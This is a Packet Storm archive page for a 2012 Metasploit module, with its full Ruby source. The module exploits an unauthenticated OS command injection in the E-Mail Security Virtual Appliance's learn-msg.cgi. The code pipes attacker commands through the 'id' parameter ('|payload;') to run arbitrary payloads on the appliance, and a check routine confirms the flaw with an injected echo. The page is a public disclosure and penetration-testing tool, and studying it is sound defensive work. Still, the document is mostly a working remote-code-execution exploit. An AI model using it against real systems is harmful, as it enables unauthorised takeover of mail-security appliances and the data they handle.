exploit the possibilities

E-Mail Security Virtual Appliance learn-msg.cgi Command Injection

E-Mail Security Virtual Appliance learn-msg.cgi Command Injection
Posted Aug 23, 2012
Authored by juan vazquez, iJoo | Site metasploit.com

This Metasploit module exploits a command injection vulnerability found in E-Mail Security Virtual Appliance. This Metasploit module abuses the learn-msg.cgi file to execute arbitrary OS commands without authentication. This Metasploit module has been successfully tested on the ESVA_2057 appliance.

tags | exploit, arbitrary, cgi
MD5 | b76c9d6cd1eb83af93d10b938abbea13

E-Mail Security Virtual Appliance learn-msg.cgi Command Injection

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
'Description' => %q{
This module exploits a command injection vulnerability found in E-Mail Security
Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
OS commands without authentication. This module has been successfully tested on the
ESVA_2057 appliance.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iJoo', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'EDB', '20551' ]
],
'Payload' =>
{
'BadChars' => "",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['ESVA_2057', {}],
],
'Privileged' => false,
'DisclosureDate' => "Aug 16 2012",
'DefaultTarget' => 0))
end


def check
clue = Rex::Text::rand_text_alpha(rand(5) + 5)
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/learn-msg.cgi",
'vars_get' => {
'id' => "|echo #{clue};"
}
})

# If the server doesn't return the default redirection, probably something is wrong
if res and res.code == 200 and res.body =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
peer = "#{rhost}:#{rport}"

print_status("#{peer} - Sending Command injection")
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/learn-msg.cgi",
'vars_get' => {
'id' => "|#{payload.raw};"
}
})

# If the server doesn't return the default redirection, probably something is wrong
if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
print_error("#{peer} - Probably command not executed, aborting!")
return
end

print_good("#{peer} - Command executed successfully")
print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close